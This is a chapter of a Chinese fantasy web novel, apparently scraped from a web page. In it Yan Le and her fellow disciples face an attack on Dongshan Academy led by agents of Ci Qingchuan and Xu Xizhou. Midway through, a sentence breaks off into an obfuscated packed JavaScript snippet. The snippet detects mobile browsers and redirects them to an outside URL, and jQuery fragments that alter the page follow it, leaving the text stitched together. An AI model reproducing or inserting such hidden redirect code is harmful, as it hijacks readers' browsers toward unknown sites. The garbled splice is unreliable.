一种危机感浮上言乐的心头,上一次,刺青川跟她说过,他是许西洲的人,他这次来东山仙院,估计也是许西洲的意思。还好他说的是攻打东山仙院,没说要带她走。就在言乐想着如何对付他时,刺青川的声音再次响起:“我来,你不高兴?”
言乐心想,你来偷家,我有什么好高兴的,不过她没敢直接说,只好道:“没有……没有不高兴。”
“那你为何不喊我的名字?”
言乐有些莫名其妙道:“我忘了,而且,你也没喊我的名字。”
“刀疤妹,这个称呼你不喜欢?我还以为你会很喜欢,虽然你的脸上已经没有刀疤了,我还是觉得有刀疤更可爱一些。既然你不喜欢喊我的名字,那你自己定一个,我希望你能记住我!”
言乐第一次听到有人喜欢自己脸带刀疤的样子,越来越好奇对方的模样,可是她找了半天,也没找到对方的人影,只好继续套话:“我给你取名字,你告诉我你们打算如何偷……攻打东山仙院,怎么样?”
“好,你先取。”
言乐抓了抓头发死命回忆起那个鬼魅般的声音,然后那死寂很久的大脑突然哪根筋搭上了,一个刺青川的名字浮现在脑海中,她恍然大悟道:“你叫刺青川,我以后叫你阿川,怎么样?”
“原来你记得,好,以后你喊阿川,我若在,就会应你。那你呢,你喜欢我叫你什么?”
言乐听到对方的语气很是高兴,哪里还有工夫管他想怎么叫,敷衍道:“就叫我刀疤妹吧,挺好听的。快跟我说说,你们打算怎么攻打东山仙院?”
刺青川笑声逐渐阴沉道:“刀疤妹,我们是敌人,我怎么会把计划告诉你呢?”
言乐这才发现不是她骗了刺青川,而是她被刺青川耍了,她气得拿起桃木剑,朝四面八方使出了凤凰三点头,刺青川的声音越来越远:“刀疤妹,在太阳落山之前,离开东山仙院。”
言乐起身要去找四师兄时,心口一阵绞痛,她记得之前会犯心悸,可是已经好久没犯了,怎么早不犯,晚不犯,偏偏这种关键时候犯呢?她强忍着心痛,让纸傀儡将她抬到四师兄眼前,四师兄玄远正在研究傀儡术,徐良野不在。
玄甲见言乐捂着胸口,皱着眉,满头大汗地望着他,就像濒死之人有遗言要交代似的,死死握住他的胳膊,开口道:“四师兄,不好了,有人要攻打东山仙院。”
玄甲上前扶住她,惊讶道:“谁要攻打东山仙院?”
言乐想要说些什么,却疼得说不出口,她死命抓住玄甲的胳膊道:“刺青川!”
玄甲听到刺青川三个字,手臂陡然一抖:“他又来了?”
什么叫又来了?言乐心口突然不疼了,疑惑地问道:“四师兄,你认识他?”
玄甲点头道:“两年前的夏天,就有人偷偷潜入过东山仙院,一个像鬼魅一样的人影,在东山仙院放了一把火,烧死了山上所有仆从。从此之后,东山仙院上下就只有纸傀儡了。没有人知道他是如何破了东山结界,进入东山仙院的,所以师尊就将东山做成了前院跟后院,前院对外开放,后院只有本门弟子可以出入。他为何偏偏挑这个时候来,恐怕是算好的,他们算好了师尊出了事,赶不回来。”
言乐惊道:“师尊出了什么事?”
玄甲道:“我也是刚才知道,师尊在去皇城的路上,遇到了西渊国箭仙,中了箭仙一箭。”
乍闻这个噩耗,言乐脑袋轰的一声响,觉得这次劫难来得太奇怪了,一切都来得这么准时,师尊受了重伤,东山仙院就被围攻了,会不会过了今晚,她就再也见不到师尊了,想到这里,无边的恐惧比死亡先到达。
言乐面如死灰,她摸了摸心口,觉得自己已经去了半条命了。
看着言乐的面色,玄甲安慰道:“纸鸢传回来的消息说师尊没有伤到要害,只是会耽搁些日子,要我们放心。走,我们去找韩夫子商量对策。”
下了山,言乐跟着玄甲一路往桃源村而去,村里的人依然像往日那般在劳作,仿佛岁月静好,丝毫不知危机即将来临。韩夫子正抱着江山躺在摇椅上,手里拿着本书晒太阳,悠闲得像个致仕还乡的老头。
“夫子,醒醒!”言乐摇醒了夫子,夺过夫子怀中的猫。
韩夫子不耐烦地起身问道:“怎么了,东渊要亡了吗?”
言乐道:“夫子,不是的,是有人要来偷家了!”
韩夫子睡眼惺忪道:“谁,谁要来偷家?”
玄甲竟然一时不知如何作答,呆了一秒。
言乐指着东山道:“夫子,日落之前,刺青川要带人围攻东山仙院。”
韩夫子闻言波澜不惊道:“哦,原来是偷岚无尘的家,不过东山仙院除了你们,现在还有人吗?”
她望着玄甲,突然感觉到了一丝不对劲,问道:“四师兄,徐良野呢?”
玄甲道:“我让他去外面买东西了,算算时间,应该要回来了。”
言乐心想:希望徐良野聪明点,不要赶回来送死。如今东山仙院是座空城了,那她们是守还是不守呢?
面对山雨欲来的危险,韩夫子不以为意道:“既然是个空城,那你们还怕什么,更何况,除了护山大阵,不是还有我在吗?”
玄甲点头道:“夫子,这个刺青川上次袭击过东山,这次的动静肯定不会比上次小,师尊又受了箭伤,我怕……”
韩夫子看着欲言又止的玄甲,夺过言乐手中的猫,笑道:“怎么,不相信我?”
言乐小声地问玄甲:“四师兄,夫子很厉害吗?”
玄甲一言难尽地摇了摇头:“我没见过夫子上阵杀敌,每次都是躲在师尊身后的。”
韩夫子闻言,大骂道:“臭小子,谁说我躲岚无尘身后,我明明是在帮他布阵,他难道不应该替我打掩护吗?要是真的有敌人来袭,你们商量一下,谁帮我打掩护?”
玄甲看了一眼言乐,一下子泄了气,小师妹哪里能打掩护,让掩护来打她还差不多,统共只会一招凤凰三点头,连御剑都不会,到时候逃跑还得他带着,就在玄甲准备开口时,言乐一腔孤勇地上前道:“夫子,要不我们现在就跑吧!”
三十六计走为上策,这是言乐目前想来唯一的法子。
韩夫子起身骂道:“那一村子的村民怎么办?得守着,守到村民安全了为止。”说完抬手向空中放了一朵烟花,转身对玄甲继续道,“你先让纸傀儡带村民去密道,送入东山后院躲一阵。”
慌乱的村民在玄甲和纸傀儡的督促下,纷纷往东山的密道而去,一个漆黑的身影从言乐身前闪过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547609|204219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,似乎晃了一下她的眼睛,又突然消失不见了。
言乐抬头四下望了望,只看到一些朴素的村民,有些脸很熟悉,是她跟萧晶晶经常光顾的店铺的伙计和老板,还有一些会给学院送吃的来的农夫和孩子,他们面上带着迷茫和不安,但是都听话地跟着人群离开了桃源村。
没过一会儿,桃源村中只剩下了韩夫子和言乐二人,言乐看到太阳缓缓落在了东山上,天色逐渐暗了起来。
日落就这样悄无声息地降临,几个身着黑衣的人影渐渐出现在言乐和韩夫子面前,韩夫子带着言乐躲到了暗处,言乐仔细辨认着对面的黑衣人,直觉告诉她,这几个人中间没有刺青川。
为首一名女子看着空城一般的桃源村笑道:“什么东山仙院,不过是一处荒郊野岭,也值得许将军这样大动干戈?”
旁边一名高个子男子冷冷道:“妖乱的时候,东山仙院的弟子帮助那些修仙者撤出东渊国,害得许将军受了罚,这笔账,许将军是不会忘的。地上这小子怎么办,刚刚差点让他用遁地术跑了。护山大阵已经破了,留着也没用了。”
言乐闻言,看到地上被五花大绑的徐良野,才明白原来他们抓了徐良野进的护山大阵,她望着这个刚认下的师侄,有些恨铁不成钢,怎么一点血性没有,就把师门卖了?可此刻还容不得她多想,得先救下这个平日里不待见她的师侄才行!
徐良野一声不吭地望着黑衣人,如果眼神能杀人,这些黑衣人已经死了一百次了。
“看什么看,没看过美女?”女子看着徐良野的目光,转头对旁边的男子道:“杀了吧,留着难道当条恶狗逗吗?”
眼看女子手中的刀就要落下,韩夫子布的阵法还没起效,言乐情急之下一个健步冲了出去,大喝一声:“住手!”
手中的木剑飞出三只小鸟,看着对面几个杀手一脸懵逼的表情,连言乐自己也懵了,她的凤凰三点头变成了三只小鸟,她第一次感受到凤凰变野鸡的落差,却依然强壮镇定道:“知道我是谁吗?”她想拿岚无尘关门弟子的名头吓吓对方。
杀手中忽然有人幽幽地骂了一句:“我去,小姐……没有死?”
徐良野似乎反应过来了什么,朝言乐大骂:
“你以为你是谁,你就是个蠢蛋,别以为我不知道你是怎么过考试的,大家都知道,是仙尊放水,不然你这个废材样,连御剑和剑招都不会,怎么肯能过考试。怎么,生气了,觉得我说错了?我才不要你这个废材来救,觉得我是你师侄?我可没认你这种废材师叔!你也不配当仙尊的徒弟,快滚!”
含着怒意听完,言乐觉得自己已经变成了一团怒火,脚却被寒冰冻住一般,停在了原地,她不由自主地想:
原来,大家都是这么看我的吗?
原来,我是个废材?可师尊说我是天才,那都是骗我的吗?
原来,我不配当师尊的徒弟吗?
就在言乐沉浸在自我怀疑中时,一个巨大的法阵从天而降,如一道雷击落下,伴随着震天的巨响将尘土炸飞,将徐良野和他身边的几个黑衣人吞没。
那道强大的法阵将言乐护下,饶是如此,她还是被余波震得朝后面飞去,几只断手朝她扔了过来。她被韩夫子接住的瞬间,小声问道:“徐师侄……他死了?”